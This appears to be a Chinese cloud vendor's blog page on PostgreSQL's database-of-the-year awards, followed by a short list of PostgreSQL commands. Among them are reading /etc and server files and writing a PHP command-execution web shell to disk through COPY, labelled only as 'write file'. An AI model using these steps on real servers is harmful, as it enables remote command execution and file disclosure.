新睿云

> 云数据库MySQL > postgresql数据库 还会荣获年度数据库称号吗

postgresql数据库 还会荣获年度数据库称号吗

作者/来源:新睿云 发布时间:2019-12-04

回首过去的 2017 和 2018 年,PostgreSQL 两度荣膺『年度数据库』。在年度点评中,还有这样一句话:


PostgreSQL在DBMS市场中的良好地位的一个明显标志是,在大家的排名中,使用PostgreSQL作为基础技术的各种数据模型。如果此类系统在其基础之上提供了重要的DBMS功能,则将它们列为单独的条目。这些系统包括Greenplum,EnterpriseDB,TimescaleDB,Citus等。


这句话是说,其实基于 PostgreSQL 而进行进行二次开发演进的数据库很多,包括 Greenplum、EnterpriseDB、TimescaleDB、Citus 等。

相关推荐文章《Linux操作系统 7款Linux操作可视化桌面任你挑选


事实上,因为 PostgreSQL 宽松的许可协议(BSD许可证书),在中国国产数据库的市场上,同样存在大量基于 PG 的产品,这些产品早已支持了广阔的数据库客户群体。2019年10月,PostgreSQL 的 12版本正式发布,产品版本更新迭代的速度越来越快。在 2019 数据技术嘉年华会大会上,来自 PostgreSQL 方面的主题同样丰富多彩,既有来自云供应商的数据库研发成果,新版本新特性介绍,还有来自于客户的最佳实践。


postgresql数据库


PostgreSQL 是一个自在的对象-关系数据库服务器(数据库管理系统),这篇文章对于postgresql的使用及利用做个总结备份。

root权限下修改数据库密码

service postgresql start #启动服务

su postgres #切换到数据库用户下

psql  postgres #进入数据库

alter user postgres with password 'postgres';  #修改数据库的密码为:postgres


在其他用户权限下,使用帐号密码登入系统

psql -h 127.0.0.1 -U postgres -W


进入数据库查看帮助信息:

help


列出数据库的用户

/du


列出系统目录列表:

select pg_ls_dir('/etc');


读取系统文件:

select pg_read_file('postgresql.auto.conf', 0, 200);


写文件

DROP TABLE pwn;

CREATE TABLE pwn (t TEXT);

INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');

SELECT * FROM pwn;

COPY pwn(t) TO '/tmp/cmd.php';

DROP TABLE pwn;

推荐相关应用:云硬盘   云硬盘备份

热门标签
new year
在线咨询
咨询热线 400-1515-720
投诉与建议
{{item.description}}

—您的烦恼我们已经收到—

我们会将处理结果发送至您的手机

请耐心等待